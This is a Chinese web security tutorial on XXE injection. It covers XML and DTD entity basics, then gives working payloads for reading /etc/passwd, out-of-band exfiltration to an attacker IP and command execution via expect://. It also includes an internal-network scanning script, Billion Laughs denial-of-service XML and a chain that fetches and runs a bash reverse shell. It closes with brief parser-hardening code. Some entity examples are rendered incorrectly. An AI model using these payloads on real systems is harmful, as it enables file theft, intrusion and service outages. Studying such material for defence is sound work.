web安全——XXE
XML基础
XML由三个部分构成,分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式语言;以及可扩展链接语言(Extensible Link Language,XLL)。
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。你需要自行定义标签。
XML是用来传输和存储数据,其焦点是数据的内容。
HTML是用来显示数据,其焦点是数据的外观。
XML的作用
可以用来保存数据;可以用来做配置文件;数据传输载体。
XML使用元素和属性描述数据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序可以共享和解析同一个XML文件。
XML格式说明
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用`&` `<` `>`实体来分别替换
- CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
在 XML 元素中,"<" 和 "&" 是非法的。
"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。
"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。
某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。(DTD就是XML文档的格式规范)
(1)内部声明DTD
<!DOCTYPE 根元素[元素声明]>
(2)引用外部DTD
<!DOCTYPE 根元素 SYSTEM “文件名”>
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
DTD元素
DTD属性
属性声明使用以下语法
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD实例
<!ATTLIST payment Hu3sky CDATA "H">
XML实例
<payment Hu3sky="H" />
以下是属性类型的选项
默认值参数可以使用下列值:
DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用就是对实体的引用。实体可以在内部或外部进行声明。
外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。
内部实体:
外部实体:
这里用(&实体名;)引用实体,在DTD中定义,在XML文档中引用。
XML实体
XML中的实体分为五种:字符实体、命名实体、内置实体、外部实体、参数实体。普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代为字符串。
(1)字符实体
指用十进制格式(&#aaa;)或十六进制格式(પ)来指定任意Unicode字符。对XML解析器而言,字符实体与直接输入字符串的效果完全相同。
(2)命名实体
也称为内部实体,在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://otherhost/xxxx.php" >]>
<value>&xxe;</value>
(3)外部实体
外部实体表示外部文件的内容,用SYSTEM关键词表示。<!ENTITY test SYSTEM "1.xml">
有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>
在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。
假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)
(4)参数实体
参数实体只用于DTD和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体,参数实体的声明和引用都是用%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。
即下面实例,参数实体 在DOCTYPE内 ,其他实体在外
<!DOCTYPE a [
<!ENTITY % name SYSTEM “file:///etc/passwd”>
%name;
]>
参数实体在DTD中解析优先级高于xml内部实体,实体相当于变量 “file:///etc/passwd”赋值给name。
(5)内置实体
内置实体为预留的实体,如:
实体引用字符
< <
> >
& &
" "
' '
而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
关于实体嵌套的情况,比较幸运的是DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 % 如下:
<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'
%也可写为16进制%
(6)命名实体+外部实体写法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY dtd SYSTEM "http://localhost:88/evil.xml">
]>
<value>&dtd;</value>
这种命名实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,感觉命名实体好鸡肋,参数实体就好用很多
(7)第一种命名实体+外部实体+参数实体写法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>
其中evil.xml文件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send
(8)第二种命名实体+外部实体+参数实体写法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>
其中evil.xml文件内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
调用过程和第一种方法类似
XXE注入定义
XXE注入,XML外部实体注入。通过XML实体,“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取数据。所以攻击者可以通过XML实体传递自己构造的恶意值,使处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
XXE漏洞原理
既然XML可以从外部读取DTD文件,那我们自然地想到 了如果将路径换成另一个路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取漏洞。
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件
那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。
XML注入简单利用
1、任意文件读取(有回显)
任意文件读取(无回显)
对于没有回显,就要利用http协议将请求发送到远程服务器上,从而获取文件的内容。在我们自己的服务器上写一个dtd文件
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://39.107.90.188:8081/%file;'>">
然后在服务器上监听8081端口。
然后我们将构造的xxe代码,输入到输入框并提交
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://39.107.90.188/evil.dtd"> %remote;%int;%send; ]>
服务器上的监听出现了base64加密的数据。
上面构造的payload,调用了%remote,%int,%send三个参数实体。一次利用顺序就是通过%remote调用远程服务器上的dtd文件,然后%int调用了dtd文件中的%file,而%file就会获取服务读取敏感文件,然后%file的结果放到%send之后,然后我们调用%send,把读取的数据以GET请求发送到服务器上,这就是外带数据的结果。
在读取文件时,文件中包含“<>&”等特殊符号,会被xml解析器解析,报错从而导致读取失败。
参数实体和内部参数实体
这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root> 但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。
解决方案是:
(1)将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
src.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>•
evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">•
实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。
(2)使用CDATA
错误payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>
正确payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % start "<![CDATA["> <!ENTITY % go SYSTEM "file:///c:/test.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd; ]> <root>&all;</root>
http://aaaaahui.com/evil.dtd <!ENTITY all "%start;%go;%end;">
两个payload的逻辑都是一样的,不过第二个是调用的外部dtd文档就可以,这是因为在xml中,xml解析器有个限制:不能在内部Entity中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。
第二个payload可以读取存在敏感字符的文件
2、执行系统命令
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM "expect://id"> ]> <user><username>&xxes;</username><password>admin</password></user>
3、HTTP 内网主机探测
我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我们就有了大致的探测方向了
下面是一个探测脚本的实例:
import requests import base64 #Origtional XML that the server accepts #<xml> # <stuff>user</stuff> #</xml> def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml) def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print coded_string # print base64.b64decode(coded_string) for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue
HTTP 内网主机端口扫描
找到了内网的一台主机,想要知道攻击点在哪,我们还需要进行端口扫描,端口扫描的脚本主机探测几乎没有什么变化,只要把ip 地址固定,然后循环遍历端口就行了,当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的,读者可以自行修改一下,当然除了这种方法,我们还能结合 burpsuite 进行端口探测<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Connection refused
这样就完成了一次端口探测。如果想更多,我们可以将请求的端口作为 参数 然后利用 bp 的 intruder 来帮我们探测
如下图所示:
至此,我们已经有能力对整个网段进行了一个全面的探测,并能得到内网服务器的一些信息了,如果内网的服务器有漏洞,并且恰好利用方式在服务器支持的协议的范围内的话,我们就能直接利用 XXE 打击内网服务器甚至能直接 getshell(比如有些 内网的未授权 redis 或者有些通过 http get 请求就能直接getshell 的 比如 strus2)
DOS攻击
典型的案例Billion Laughs 攻击,Billion laughs attack,xml解析的时候,<lolz></lolz>中间将是一个十亿级别大小的参数,将会消耗掉系统30亿字节的内存。
POC:
<?xml version = "1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> <lolz>&lol9;</lolz>
或者:
<!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data>
POC中中先定义了lol实体,值为"lol"的字符串,后在下面又定义了lol2实体,lol2实体引用10个lol实体,lol3又引用了10个lol2实体的值,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个"lol"字符串
此时解析数据时未做特别处理,即可能造成拒绝服务攻击。
攻击内网网站
若内网网站存在命令执行漏洞时:
将以下bash.txt保存至自己的WEB服务器下:
bash.txt:
bash -i >& /dev/tcp/192.168.55.129/8877 0>&1
发送以下payload获取bash.txt文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=curl%20-o%20/tmp/1.txt%20192.168.55.129/bash.txt" >]>
<root>
<name>&XXE;</name>
</root>
在本机监听一个端口:
发送一下payload,获得反弹shellcode命令:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=/bin/bash%20/tmp/1.txt" >]>
<root>
<name>&XXE;</name>
</root>
判断是否存在XXE漏洞
(1)检测XML是否会被解析
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY shit “this is shit”>
]>
<root>&shit;</root>
如果$shit;变成了”this is shit”,那就继续第二步。
(2)检测服务器是否支持外部实体:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>
%shit;
]>
通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。
(3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
(4)如果不能回显,使用Blind XXE攻击方法。
防御XXE
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newlnstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=false))